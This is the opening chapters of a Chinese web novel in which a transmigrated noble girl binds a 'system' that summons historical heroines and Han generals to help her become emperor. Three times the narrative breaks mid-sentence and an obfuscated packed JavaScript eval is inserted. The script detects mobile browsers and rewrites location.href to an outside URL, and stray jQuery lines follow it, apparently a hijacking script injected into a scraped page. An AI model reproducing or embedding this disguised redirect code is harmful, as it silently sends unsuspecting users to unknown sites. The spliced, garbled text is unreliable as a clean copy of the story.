《系统说我有大帝之资》
1. 我看你有大帝之资
安朝天定四年。
国都建康。
姬府。
春风拂柳,日光和煦,十三岁的姬昤在自己的院落中荡着秋千,闻着玉兰花香,只觉时光静好。
如果日子能一直这样平静地过下去,哪怕这里再落后,再不如现代方便,姬昤也认了。
是了,姬昤,穿越人士,在现代身死之后一眨眼出生在了这里,不知不觉中已经在这儿生活了十三年。但这十三年并不平静也不安稳,只是她生在姬家——门阀世家,才得了安全的下场。
在这十三年间已经换了两朝了,上一个朝代称“景”,存在十七年便消亡不见,现在的称“安”,存在四年中如名字一般还算安稳,没有出过什么大事乱子。
相比朝代的短暂,她出生的世家姬家,已经存在百年了。
姬昤不止一次感慨自己命好,在这乱世托生在了富贵人家,享受安稳的生活。曾经她也去过那偏远村落瞧过,那里的百姓食不果腹、衣不蔽体,各个面黄肌瘦,她同情,可所能做的也只是利用家中的权势时不时接济一下百姓,尽可能让他们过得好些。
到底是世道不公、权贵压榨,百姓困苦。
可她生在世家,没法改变这现象,也没资格说这些话。
因为她是既得利益者。
“三娘子,大郎君和二郎君皆已归家,还有家主和夫人都在前院呢,您要不要去瞧瞧?”婢女月栀走近跟前,语气喜悦。
姬昤一下子从秋千上蹦下来,吓得月栀一哆嗦,赶紧上前扶住,一边说道:“三娘子,奴婢的心都要跳出来了,您可千万悠着些。”
“月栀啊,这都多少年了,我一直是这样,你还没习惯呢?”姬昤无奈笑道。
“娘子您身姿矫健奴婢知道,只是万一有什么差错,您身上多了什么疤痕,奴婢真是万死难辞。”月栀。
姬昤捏了捏月栀圆圆的脸蛋:“一个十四岁的姑娘家整日里老气横气的做什么?咦,我让人给你做的新衣呢?那鹅黄的颜色最是称你,你怎么没穿?怎的还是这件不知道多少年了的旧衣裳,这颜色你穿着不好看,把你都称成老嬷嬷了。”
月栀低头瞧了眼,羞红了脸:“娘子给奴婢新做的衣裳很好看,奴婢很喜欢,却也不舍得穿,那般好看的衣裳……”
“我何时亏待过你?你自己回去数数我给你做了多少新衣,你又穿了几件?这个不舍得那个不舍得,咱们月栀这么好看,那些衣服我还觉得配不上你呢!”姬昤夸赞着,月栀羞得转身一个跺脚,头都快埋到胸口去了。
“好了好了,我也不打趣你了,走吧,两位阿兄都回来了,想必带了许多新奇玩意儿,咱们啥时候去瞧瞧!”姬昤拉过月栀的手,带着她奔跑在院落小道之间,吓得月栀喊了一路的“娘子万万不可这般啊”。
姬府前院。
还未到跟前,姬昤已经听到了阿兄爽朗的笑声。
“阿兄笑什么呢?不妨与我说说?”姬昤笑着走进堂中。
四人转过身看去,纷纷露出笑容。
月栀行了个礼:“见过家主,夫人,大郎君,二郎君。”
“昤昤来了,赶巧了,刚说到你幼时调皮被大黄狗追着跑,最后不小心掉进池子里,捞上来后脑袋上还坐着一只小蛙的事。”姬瑜说着一边上前拉过姬昤。
“阿兄倒不必说这么具体,这都多少年前的事了?”姬昤扭了一把姬瑜的胳膊肉。
姬瑜怪叫了声,摸了摸胳膊。
“你们兄妹二人自小到大都是如此,何时能像瑾儿一样稳重些?那阿耶我也能少操些心。”姬父虽是这么说,嘴角却带着笑意。
“我们兄妹三人若是各个稳重,想必阿耶又要操别的心了。”姬昤。
“你啊你啊,阿耶自是说不过你。”姬父笑着指了指姬昤。
“都站着作甚?有什么话坐下细细聊。”姬母说着看向月栀,“去吩咐东厨做些好消化的糕点来,再备些郎君娘子们平日里爱喝的茶水。”
“奴婢这就去。”月栀应声,接着小步退后,再转身离去。
几人纷纷落座,刚一坐下,姬昤就迫不及待地问:“可有给我带有趣的玩意儿回来?”
姬父不禁道:“你二位兄长是去求学的,不是去游历,你尽想着好玩的玩意儿,也不问问他们近来可好,过得如何。”
姬昤了然地点点头,接着问道:“近来可好?”
姬瑾:“一切安好,多谢小妹关怀。”
姬瑜:“自是好的很,在外面总归是自在。”
姬昤点头,接着又问:“可有给我带新鲜玩意儿回来?”
四人笑了,就知道她还是这性子没变。
“小妹只想着新鲜玩意儿,可是忘了什么?”姬瑾微微笑着,一双好看的眸子盯着姬昤。
姬昤开始思索,她忘了什么?
不知道。
“自己的生辰都能忘了?”姬瑜就坐在姬昤边上,说着还敲了敲她的脑袋,似乎在说她“笨”。
“呀!”姬昤叫了一声,恍然大悟,“我的十四岁生辰?就是今日!”
“可算是想起来了,傻孩子。”姬母也笑着说道,紧接着眉眼间流露出一丝忧愁,“明年的今日便是昤昤你的及笄礼了,年满十五你也好出嫁了,阿母实在是不舍得。”
“我姬家的女儿不必如此早早出嫁,多留两年又何妨?哪怕昤昤十七八了,我姬家的门槛照样能被媒人踏破咯!”姬父大手一挥。
姬昤心里叹气,但也有些庆幸,好在她有个好父亲,不然在这种父权时代,若父亲不疼不爱,估计过了今晚她就好嫁出去了。
她实在是不想嫁人,至少这几年是不想的。
“哈?嫁人?谁娶了这小祖宗真是要赶紧去庙中上两炷香祈祈福,祈求自己可别被折腾死。”姬瑜打趣道。
姬昤握紧了拳头,斜眼看向姬瑜。
姬瑜面色一变,赶紧和姬瑾换了个位置,姬瑾无奈摇了摇头。
日落西山,姬昤看着一桌子丰盛的菜肴默默咽了咽口水,与此同时,姬府门口排起了长队,来排队的都是些可怜的、衣衫褴褛的人。
姬府正在施粥,却只有一个要求,那便是拿到粥之后要说一句“恭贺姬三娘子生辰之喜”,来人没有不愿意的,只说一句喜庆话就能吃饱饭,那真是再好不过了。
姬昤回自己院子时还能听到府外传来的“恭贺姬三娘子生辰之喜”,心中不禁感慨,这离刚吃饭的时候已经过去了许久,可外面恭贺的声音却源源不断,可见吃不饱饭的人有多少。
她环顾了眼自己的院子,看着这满院的陈设,再想想外面的可怜人。
这还是在国都呢。
突然,一道机械般的声音在姬昤的脑海中响起——
“我看你有大帝之姿,想要称帝吗?想要万人之上吗?想要推翻现在的皇朝建立一个新世界吗?想要吗?想要吗?想要吗?”
姬昤愣住了。
什么鬼东西在说话?称帝?谁?她吗?这可是封建皇朝父权社会,女子说称帝所有人都只会当笑话还要说声“大逆不道”,严重些说完人可能就没了。
“宿主你好,我是逐鹿系统,志在帮助每一个世界的有志人士称帝称霸,请问你有这个意愿吗?”
自称系统的家伙又说话了。
那个声音很有诱惑力,可是……
她吗?
好吧,勉强同意吧。
系统看见姬昤那疯狂上扬的嘴角都不好意思戳破她。
真的好勉强呢。
“宿主,有什么需求在心里和我说即可,我能听见。”系统说道。
姬昤放心了些,她就怕还要说出来就行,这样别人听着怕不是要把她当疯子看。
“我同意也可以,你需要我做什么?”姬昤问。
她不觉得会有这么好的事情找上来而且她什么都不用付出。
天底下哪有这么好的事?
“我需要的东西宿主给的起,我只需要在宿主死后带走宿主的灵魂。”系统。
姬昤皱了皱眉,要她死后的灵魂?为什么呢?
“要我死后的灵魂做什么?”她问。
“待宿主走上称帝之路,身上会逐渐凝聚帝王之气,本系统只需要宿主死后不需要的灵魂用以自主升级,不影响宿主任何。”系统。
“影响我投胎了。”姬昤不禁说道。
都有灵魂了,那不就也有投胎?更何况她还是又活了一次的人。
“宿主,本世界没有投胎一说,宿主能再活一次只因是天定之人,拥有一次额外的机会。宿主放心,本系统是良心系统,不会做任何不利宿主的事。”系统解释着。
姬昤考虑了一下,然后问:“你能给我提供什么便利呢?既然要称帝,光靠说说的自是不行。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326117|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“本系统实行任务制,宿主可以通过一次一次完成任务来获得奖励。本系统也会一直提供宿主帮助。只要宿主同意本系统的交易,愿意合作,即刻获得新手大礼包一份,大礼包内容随机,奖励丰厚,宿主一定会满意。”系统。
姬昤一路回到自己闺房,一直在思索是否要同意,想得出神,连月栀说话的声儿都没听见。
月栀没法,脸直接凑到了姬昤面前,姬昤这才反应过来。
“月栀你做什么?”她不禁问。
月栀有些哀怨:“娘子还问呢,奴婢喊了娘子那么多声,娘子连一声都不曾回应过。”
“好月栀,我想事情想出神了没听见,你再说说,你要同我说什么?”姬昤拉着月栀的手撒着娇。
“无甚大事,只是问问娘子可要洗漱了。”月栀说道。
“要,要的。”姬昤。
而这时,她也做好了决定,在心中说出了自己的答案——
“我同意。”
“恭喜宿主绑定逐鹿系统,本系统先恭贺宿主万岁万岁万万岁!恭喜宿主获得新手大礼包一份。来,让我们激动地抽取你的新人大礼包吧!!”系统的声音到后面还激动了起来,多了些人味儿。
“抽取!!!”姬昤也很激动,差点真喊了出来。
系统:“恭喜宿主获得女将大礼包,四位女将即将到达府上,请宿主及时接收。”
姬昤激动地查看了女将的名字,她沉默了……
妇好、冼英、杨妙真、秦良玉。
中国第一位女性军事统帅、女战神妇好;
中国巾帼英雄第一人、岭南“圣母”冼英;
“杨家枪”创始人、梨花枪鼻祖杨妙真;
唯一载入正史将相列传女将军秦良玉。
等等,要登基称帝的人还是她吗?到底是谁登基?
与此同时,有四位结伴同行的女子越来越靠近姬府的位置……
姬昤洗漱好就一直在床边坐着等待。系统说四位女将即将到达府上,她也不敢睡,怕错过了。
等待着等待着,月栀还过问了一次为何还不入睡可是还有何事要做。
这时,姬昤的房门被敲响,传来一道女声——
“三娘子,前厅来了四位女客说是找您的,家主请您过去。”
姬昤一下子站起来。
来了!
姬昤匆忙打开了门就跑了出去,月栀慌张地跟在后面,一边说着:“娘子,梳妆!这般披头散发实在无礼!”
可姬昤顾不上了,她恨不得现在就飞到前厅去。
一进前厅,四位女子站了起来,齐齐望向她,而后一起抱拳行了个礼:“见过三娘子。”
本想叫主公,就怕误了主公大计,遂只叫“三娘子”。
“四位不必多礼,快请坐!”姬昤看着这四位英姿飒爽的女子,心中很是激动。
姬父不禁看向月栀质问:“怎的三娘子还披散着头发?”
月栀刚要解释,姬昤开口了,她还轻拍了拍月栀的手,说道:“阿耶莫怪月栀,是我,我等不及要来见这几位姐姐了,所以才披散着头发。”
四人心中一阵感动,主公为了来见她们竟然连头发都来不及扎起。
“这四位是昤昤的好友么?”姬父问。
姬昤点头。
“既如此,那便在府上住下吧。”姬父又道。
姬昤不好意思地笑了笑:“阿耶,可能四位姐姐要住许久,阿耶可会介意?”
“许久是……多久?”姬父有些疑惑。
“这个……”姬昤抓了抓脑袋,脑袋飞速转动。
这时,系统说话了——
“任务发布:距离安朝分崩离析仅剩三年,请宿主在一年内经过四位女将指导习得武艺且至少在其中一人手下撑过一百招。任务失败,无惩罚。任务成功,奖励‘卫霍大礼包’一份。”
安朝只剩三年寿命了?
姬昤有些诧异,安朝看着安稳,竟然比混乱的景朝还要短命,但想到后面的礼包……
姬昤两眼一亮,卫霍大礼包?是她想的那个卫青、霍去病吗?
“阿耶,我还有事要与四位姐姐详谈,就不同你多说了!”姬昤一脸激动地说着就要带着四人去自己院中,也不顾她父亲满脸的疑惑。
而在此之后,姬府上下总是能听到姬昤惨叫的声音从院中传出。
2. 卫霍大礼包
一年后。
姬府。
“昤昤,今日是你及笄礼,阿耶早已为你想好了表字,就叫……”
“绥英。”
姬父满脸慈爱,眼里满是不舍,仿佛姬昤就要出嫁了一般。
“绥英?笼络天下英雄?”姬昤猜测着表字的含义。
在场之人无一不愣神,姬昤为何会这么想?
“三娘子好志气,只是这话未免存谋逆之意,日后还是莫要再说了。”及笄礼请来的德才兼备的、主持加笄仪式的女子——湖阳郡主开口说道,不过话语中无多责备,反而有些欣赏。
姬父连忙解释道:“绥英绥英,阿耶的意思是望你日后平安顺遂,美好坚韧。”
姬昤愣了下,尔后笑了:“原是这个意思,是女儿想错了。”
“伯先,瑜儿,你们二人不是早早便为绥英准备了及笄之礼吗,此时不拿出来更待何时啊?”姬父看向自己两个儿子。
伯先便是姬府大郎君姬瑾,去岁腊月初二及冠,取了表字伯先。
“两位阿兄给我准备礼物了?快给我瞧瞧!”姬昤满眼期待。
姬瑾脸上笑容腼腆,从小厮手中接过木盒子,里面是他准备的礼物。
姬瑜上前,拿出盒子打开,露出里面的物件,是两颗洁白圆润的珍珠。
“这可是极上等的南珠,我可是寻了两月才得来的,你可不许嫌它小。”姬瑜说道。
再看盒内的两颗珍珠,再大些要赶上鹌鹑蛋的大小了,一点儿也不小。
“多谢阿兄,阿兄辛苦寻觅,我怎会嫌小?欢喜还来不及!”姬昤笑容满面,还拿出一颗珍珠来细细欣赏。
果然颗颗饱满圆润,如月光般温润。
一看就是极品。
“大兄呢?大兄给我准备了什么?”姬昤又看向姬瑾。
姬瑾淡笑着打开了盒子,拿出了里面的物件。
“这是我亲手做的,还望绥英莫要嫌它粗鄙。”
这是一支步摇,缀着佛像,虽不华贵,却能看出姬瑾的用心。再瞧他的手,其间还有些疤痕,一看便知下了不知道多少苦功夫。
“多谢大兄,绥英喜欢,就是还得大兄帮绥英插上。”姬昤说着走近了些,由姬瑾给她插上步摇。
待他插好,姬昤笑着问道:“可好看?”
姬瑾满眼都是笑意:“好看,绥英最是好看,大兄觉得绥英比那天上的仙女娘娘们还要好看。”
“大兄惯会夸我,日后若是我的眼睛仰到天上去了,定是大兄惯的!”姬昤摸了摸头上的步摇,做出了抬头看天的姿势。
“那又如何?你是我姬家女,哪怕做皇后都是委屈了你,不过眼睛仰天上去罢了,这都算得了什么?”姬父双手背着,神态之中满满皆是傲色。
姬父此言并不作假,姬家作为百年士族,如今又是士族强皇室弱的时代,姬昤作为姬家嫡系独女自是尊贵无比,姬父所说“做皇后都是委屈”也不夸张。
“是了。不过,日后还是少说这些,让人捏住了把柄告到陛下跟前,总归要多些麻烦。”姬母说着走到姬昤跟前,仔细看着女儿的模样,这一看竟要哭了,“阿母的好女儿,转眼便及笄了,这要不了两年便要出嫁了……”
姬昤无奈,又来了又来了,她还没满十五岁前阿母就时不时跟她哭说是舍不得她出嫁,也怪这世道,女子出嫁年岁太小了。
“阿母莫哭,女儿自当多陪陪阿母和阿耶,常伴家人身侧,才不会早早出嫁呢!”她道。
湖阳郡主也开口道:“女子应当多出去瞧瞧世面,晚些出嫁才好。我当年就是嫁人嫁早了,以至于至今诸多遗憾,好在夫婿去得早,我现在也有空四处去瞧了。姬夫人不必如此烦恼,女儿多留几年没甚坏处的。”
好似打趣的语气让众人不禁笑了起来。
姬母笑道:“郡主聪慧,看得通透,我也不多自扰了。”
湖阳郡主抬眸瞧了眼天色:“时辰也不早了,我也该回府了。”说罢站起身。
“恭送郡主!”众人行礼。
湖阳郡主走至姬昤身边时停住了脚步,她看向姬昤,淡笑道:“我这一生无女,有一子也早夭,我瞧你投缘,是个好孩子,若得空可常来郡主府与我说说话。”
“是,绥英定会常去叨扰的。”姬昤笑容灿烂,少女的稚气扑面而来,让湖阳郡主好似看见了年轻的自己。
送走所有宾客,姬昤匆匆忙忙回到自己的院子内,她可没忘系统的一年为期的任务,今个儿可是最后一日。
她昨夜里辗转反侧一夜都在思索该和哪位好姐姐过招才能撑得住一百招,结果最后决定抓阄,抓到写着谁名字的纸团就和谁过招。
是杨妙真。
英兰苑——姬昤住的地方。
院内只有冼英和杨妙真二人,妇好和秦良玉三日前去了她半年前偷偷买下的郊外别院训练招来的死士不在院里。
杨妙真手持梨花枪立于院落中央,身着红色短袄,英姿飒爽。
冼英站在一旁似笑非笑,好像在等着看姬昤被“收拾”。
“主公,梨花枪已备好,何时开始?”杨妙真指了下一旁放着的另一把梨花枪,问道。
姬昤眨了眨眼,咽了下口水,犹豫地拿起了一边的梨花枪,同时还在给自己打气。
“那个,好姐姐,待会儿轻些打可好?”姬昤撒着娇,用无辜的眼神看着杨妙真。
只见杨妙真丝毫不妥协,冷着脸拿起了梨花枪指向姬昤:“主公已与属下学此枪有一年,主公需对自己有信心。主公,开始吧。”
见杨妙真油盐不进,姬昤默默叹了口气,站在她对面拿好了长枪。
“好,开始吧。”话音落,姬昤抬眸一瞬间像是换了个人似的,什么撒娇、稚气全然没了,甚至抢在杨妙真出手前迎了上去。
“主公好胆量。”杨妙真勾唇一笑,一手梨花枪使得出神入化,打得姬昤连连败退。
一刻钟之后。
杨妙真收起了笑容。
主公虽是连连败退,可这一退竟然退了有一刻钟也不见真的败!
两柄梨花枪抵在一起,姬昤兴奋地说道:“七十三招了,好姐姐,我练得如何?可有得到你的真传?”
杨妙真眼里闪过一丝笑意,收手,侧身,枪身打在姬昤的小腿肚上,姬昤怪叫一声,眼看着要摔倒,下一刻手持梨花枪枪尖点地,一个转身,人又稳稳地站在了地上。
“嘿嘿,我可没倒!”姬昤笑容灿烂,意气风发。
杨妙真也笑,主公到底年幼,还是孩子心性,只是躲过了这一下便笑得如此开心。
“好姐姐放马过来吧,不说多的,一百招我还是撑得过的!”姬昤满脸自信。
必须自信啊,一百招要是撑不过,那她的卫霍大礼包不就没了?那可不行!
杨妙真不语,只是一味进攻,姬昤不语,只是一味抵挡,两人竟然打得难舍难分,一旁看着的冼英也不禁严肃了起来。
她本以为主公输定了,可如今看来最终谁输还说不准。
姬昤一直在心中默念着,直到第一百招一过,她立刻做出一副腹痛难忍的模样连连后退。
“怎么了?”杨妙真立刻收回枪,上前问道。
冼英也跑上前扶住了姬昤。
“无碍无碍,怕是吃坏了肚子,我得去方便一下。妙真姐姐,算我输了,不能再打下去了,我实在是憋不住了。”姬昤眉头微蹙,双眸含泪,看起来可怜极了。
杨妙真无奈道:“主公枪法甚绝不输属下,不算输。”
她也感受出来了,一百招,整整一百招,若是输早该露出破绽了,而不是每次都只是退,主公这明显是收着了。
姬昤眨了眨眼:“那……我去方便了?”
杨妙真拿过姬昤手中的梨花枪,笑道:“主公去吧,莫憋坏了。”
冼英也放开了姬昤的胳膊,她算是瞧出来了,主公这是编了个由头要跑。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326118|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
罢了,跑就跑吧,至少也看出来主公的确没偷懒,该练的都练了。
姬昤的确没有去茅房,只是找了个角落找系统领取大礼包。
“宿主任务成功,奖励‘卫霍大礼包’一份。卫子夫、卫青、霍去病、霍光正在赶来姬府的路上,请宿主注意查收。”
姬昤一个激动脑袋撞在了一边的墙上,她赶紧捂住了疼痛的脑袋,却怎么也止不住喜悦的心情。
发啦发啦!还逐什么鹿啊,朕即天子!!啊哈哈哈哈!!!
路过的婢女仆从瞧见姬昤的模样都有些害怕,却因为是下人都不敢多问什么,好在后面月栀来了,见姬昤这模样吓坏了。
“三娘子,三娘子你怎么了?”月栀都吓哭了,为何三娘子这么笑?有……有些猥琐。
姬昤赶紧收敛了笑容摸了摸嘴角,还好还好,没把口水笑出来。
“月栀,我没事,就是撞到头了有点疼。”姬昤移开自己捂着额头的手,露出泛红微肿的地方。
月栀哭得更厉害了,这还叫没事?三娘子撞到脑袋了还这般笑,怕是出大事了,难不成……撞坏脑子了?
月栀这么想着就要去请府中的大夫来给三娘子好好瞧瞧,结果被姬昤一把抓住了手腕。
“你去哪儿?”姬昤问。
“奴婢去请姬大夫,可得好好给娘子瞧瞧,千万别撞坏脑袋了!”月栀解释道。
姬昤想了想还是算了:“去请吧,不过我也没什么大事,就是有些许疼。”
月栀得到准许跑得更快了。
姬昤回到屋内,一边等待姬大夫的到来一边等到她心心念念卫霍大礼包的到来。
姬大夫是府中一直养着的医术高超的大夫,她只知道早些年他并不姓姬,姓何,三十岁的时候逃命来到了姬家,自此就留在了姬家,改姓姬,如今已近古稀。
不一会儿,姬大夫来了,近古稀之年的老大夫还健步如飞,瞧着身体就很康健。
“三娘子撞到了脑袋?”姬大夫一进屋便问。
“是,有些红肿,但无大碍,就是有些疼。”姬昤摸着自己撞红的地方说道。
姬大夫查看了一番:“确无大碍,月栀。”
“奴婢在。”月栀应声。
“待会儿去我那拿个药膏,一日两次,擦上一两日就好了。”姬大夫说道。
“喏。”月栀。
“既如此,老夫告退。”姬大夫说着,等姬昤点头才退出屋内,月栀跟在后面一起离去拿药膏。
姬昤坐在椅子上,手指敲击着桌面,眼睛时常望向屋外,就等着下人来禀报说有人来找她。
姬昤等啊等啊,半个时辰过去了,月栀都替她擦过一次药膏了也不见有人来禀报。
姬昤撑着脑袋看着外面发呆。
也不知道他们什么时候能到,好像立刻马上就见到他们!那可都是现代课本里响当当的人物啊!谁不想见到?更何况还要被他们喊“主公”!
夜渐深,姬昤躺在床上翻来覆去辗转反侧,怎么也睡不着,她想,万一人家半夜才能到呢?她若是睡了错过了怎么办?
屋外守门的月栀听着里面的动静很是无奈,娘子已经吩咐过她只要有人来禀报有人找娘子就要她立刻把娘子叫醒,娘子为何还没睡着?到底是什么人这么重要,让娘子想得都无法入睡?难道……
月栀惊讶地捂住了嘴。
难道娘子有心上人了?!
月栀好像掌握了什么惊天大秘密一般,整个人都紧张起来,本来还有些昏昏欲睡的,这么想着是半点儿困意都无。
两人就这么一直强撑着直到天亮……
“月栀姐姐,府外有三人来找三娘子!”
月栀本点头打着瞌睡,一听立刻惊醒。
来了来了!心上人登门了!不对,三人?怎么这么多心上人?
月栀刚想转过身敲门,只见姬昤已经打开了门,双眼冒光。
来了来了!!
3. 退出建康
姬昤按捺住激动的心情,任由月栀和另外一个贴身婢女替她梳洗,等到一切就绪,姬昤平复好心情,踏出屋子。
前厅。
姬父看着两男一女眨了眨眼。
这又是来投奔昤昤的?昤昤平日里都是从哪儿认识的这些人?去岁那四人他本以为只是昤昤的好友,来小住一段时日的,结果一住就是整年,这下又来三个,这次要住多久?
姬父心想,好在姬府阔绰,不缺屋子,否则按照这样发展下去,最后得来多少人借住姬府?不知道的还以为他有谋逆之意豢养幕僚呢!
“吃茶,不用客气。既是昤昤的好友,喊我一声‘伯父’我自不会亏待了你们。”姬父笑容慈祥,语气温和,像是在看自己的孩子一般。
这三人瞧着年岁跟大郎差不多,若说是大郎的朋友他还信,可都是昤昤的朋友……昤昤怎么有这么多大好些年岁的朋友?
姬父不解,只是一味地让三人吃喝。
三人也很拘束,心中无一不想着快点见到姬昤。
姬昤也是这么想的。
“阿耶!”
四个人看到姬昤的那一刻都觉得轻松了。
“昤昤,这三位说是来找你的,可是你的友人?”姬父起身走到姬昤身边,一边问道。
姬昤高兴了一瞬,却有些不解。
三人?少了谁?卫青?霍去病?还是霍光?
“是,是来找我的,阿耶,应还有一人,他们需要借住一段时日,可行?”姬昤眨巴眨巴眼睛看着姬父。
姬父:……我就知道。
“行,府上有空屋子,借住便借住吧。你们聊,阿耶还有事,就不作陪了。”姬父无奈道,说罢就离开了。
姬昤目送着姬父离开后才转头看向三人。
三人起身,都向姬昤行了礼。
“属下卫子夫,见过……”卫子夫话未说完,就见姬昤抬起手,于是她闭嘴不再言语。
姬昤假咳了几声,看向身边的月栀。
月栀一脸迷惑。
属下?这位娘子为何这么称呼自己?
“月栀啊,你去瞧瞧,这周围可还有旁人在?都让他们退下吧,此刻这里不需要任何人伺候。”姬昤说着给了月栀一个讳莫难测的眼神。
月栀有些云里雾里的,虽然不知道为何三娘子这么说,但是她照做就是了。
月栀将周围的仆从全部带走,自己也站得远远的守着。
紧接着,卫子夫身边一个长得相似的男子开口说道:“属下卫青,见过主公。”
接着另外一个稍微小些的少年也说话了:“属下霍光,见过主公。”
姬昤带着满脸笑容让三人又坐下了,然后疑惑问道:“霍去病呢?怎么没瞧见他?”
卫子夫解释道:“来时途中去病听闻北方匈奴一直骚扰我朝边疆,于是换了一匹快马而去,还让我等给主公带话,去病去去就回。”
姬昤张了张嘴,一时间说不出话来。
这就激发属性了?是不是太快了点?
沉默了一会儿,三人还以为姬昤是不满意霍去病的先斩后奏,刚想帮霍去病说话姬昤开口了。
“既如此,待会儿我找人安排你们住下,先好好休息,午后再带你们认识一下你们的同……僚。”话到嘴边姬昤赶紧把“同事”改成了“同僚”。
姬昤回到房中,心中带着疑惑询问系统:“为什么卫子夫、卫青和霍光的年龄看起来没太大差别?”
之前四大女将瞧着都是二十多岁的姑娘,她想着都是不同朝代的人,所以差不多年龄也没什么,可这次卫霍大礼包的三人都是同时期的人物,卫子夫是卫青的姐姐,霍光是霍去病同父异母的弟弟,而霍去病是卫子夫和卫青的外甥,这个年龄差看起来不对啊!
系统:“系统致力于让英雄陪伴宿主更久,会选择让英雄处于合适的年纪来到宿主身边。”
姬昤嘟嘴:“系统你好贴心,我好喜欢~”
系统:“……谢谢。”有点恶心。
午后。
英兰苑。
五人互相认识了一番,妇好和秦良玉还在郊外别院因此并不在。
“他们中还有一人如今去了北疆之地还未来。”姬昤看着冼英和杨妙真说道,接着看向卫子夫三人,“还有二人——妇好、秦良玉,她们近日不在府中,待她们回来我自会引你们相识。”
“全凭主公安排。”卫子夫说道。
冼英和杨妙真也点头,就是多看了两眼霍光。
因为他看起来只是个十来岁的少年,年纪尚小。
姬昤于是问道:“霍光,你如今多大了?”
“回主公,属下年十四。”霍光恭敬回答。
姬昤有些惊讶,这么小?不过一想到自己也才十五岁就不惊讶了。
姬昤思索了片刻,然后说道:“不如我找几位先生教你读书?”
“但凭主公安排。”霍光。
“行,那就这么决定了,待会儿我就派人去寻最好的先生来教你,最迟明早,你应该就能见到他们了。”姬昤说道。
新来的卫子夫三人心中还有些惊讶,惊讶于主公的势力,说要找最好的先生,最迟明早就能找来,一半人可没这能力。
姬昤也察觉到几人的“惊”,她笑了笑,解释道:“这儿是安朝国都建康,而我姬家便是建康最大的士族,放眼整个安朝都是数一数二的,不过是找最好的先生,这对姬家来说并没什么。其实我姬府也有先生,但我觉得应该找最好的来教你。”
霍光心中感动,目光更加坚定:“属下定誓死追随主公!”
姬昤摆了摆手:“都是小事,你好好学就是了。”
“喏!”霍光。
“卫青。”姬昤又看向卫青。
“属下在。”卫青应声。
“明日我派人送你去我郊外的别院,那有我养的五百死士,妇好和秦良玉就在那儿,你也去,死士中有男三百一十二人,明日起全部交由你练。”姬昤。
“多谢主公信任,属下定不负主公期望。”卫青也很感动,他才刚来主公就交由他如此大任,若他不练出个所以然来自觉对不起主公。
卫子夫却有些担忧地说道:“方才听闻主公说此地乃国都,姬家又是这儿最大的士族,主公将死士养在这里可能确保不被当今陛下察觉所忌惮吗?”
姬昤说道:“那肯定怕呀,所以我偷偷养着的!”
卫子夫又问:“姬家有多少死士?姬家又有多少人?能否确保若哪日东窗事发姬家还能安然无恙?”
姬昤想了想:“我姬家豢养死士三千人,这是陛下允许的。姬家上下包括所有仆从在建康的有近千人,这……还真有点护卫不过来。”
“属下僭越,不知当今陛下身体如何?年岁几何?有子几人?可有争权之意?陛下对姬家如今态度如何?”卫子夫又问。
“如今陛下身体尚可,皇子六人,其中三人已满十六,大皇子已过弱冠年,另外三人不足十岁,近日来朝堂上确有纷争。陛下对姬家么……姬家这么庞大的士族,陛下自是早就忌惮了,只是一直没找出发落姬家的罪证。”姬昤缓缓说道。
“是了,这般局面,恐怕姬家得早做打算。主公,不知家主是何想法?”卫子夫问。
姬昤一拍脑袋:“哎呀,我这一年光顾着跟四位姐姐习武了,要么就是寻些可用的人做死士,其余的没多想,你如今这般说,我得去探探我阿耶的口风了。”
“主公莫急,我等早已打听过了。”冼英开口道。
“哦?”姬昤看向冼英,两眼睁得大大的,嘴巴都成了“o”形,脸上还带着笑意。
“近段时日以来姬家屡生事端,前不久南边姬家一旁支就被判了流放,主公是知晓此事的,但应不知晓为何。”冼英又道。
“为何呢?”姬昤很配合地问了嘴。
“陛下寻了个罪名发落了他们,对主家却更加信任,表面是替姬家清理不成器的旁支,实则是为了向朝堂中的其他人释放一个消息,陛下打算清算姬家了,往日与姬家不对付的也可趁此机会动手了。”冼英缓缓说道,“大郎君和二郎君皆在外任职,主公也可去信两封问问他们,想必二位郎君知晓的也不少。”
总比主公你知晓的多。
姬昤眉头紧皱,神色凝重:“那我也要早做打算了呀。”
本来系统去年说的是安朝只剩三年光景了,如今也还有两年,可皇帝竟然这时候要对姬家动手了。虽说姬家是顶级士族,可那也是天子,真发起火来,姬家也讨不到什么好。
姬昤转念一想,也许这对她来说也是个机会,不然在皇帝眼皮子底下养死士私兵总感觉每天心跳得很快,最好能找个机会到偏一些的地方去,可以悄咪咪地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326119|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苟着,一旦安朝分崩离析,她就好跳出来了。
“这样,我去找阿耶详谈此事,你们……互相多认识认识吧。”姬昤说罢离开。
站在院外侯着的月栀赶紧跟了上去。
书房。
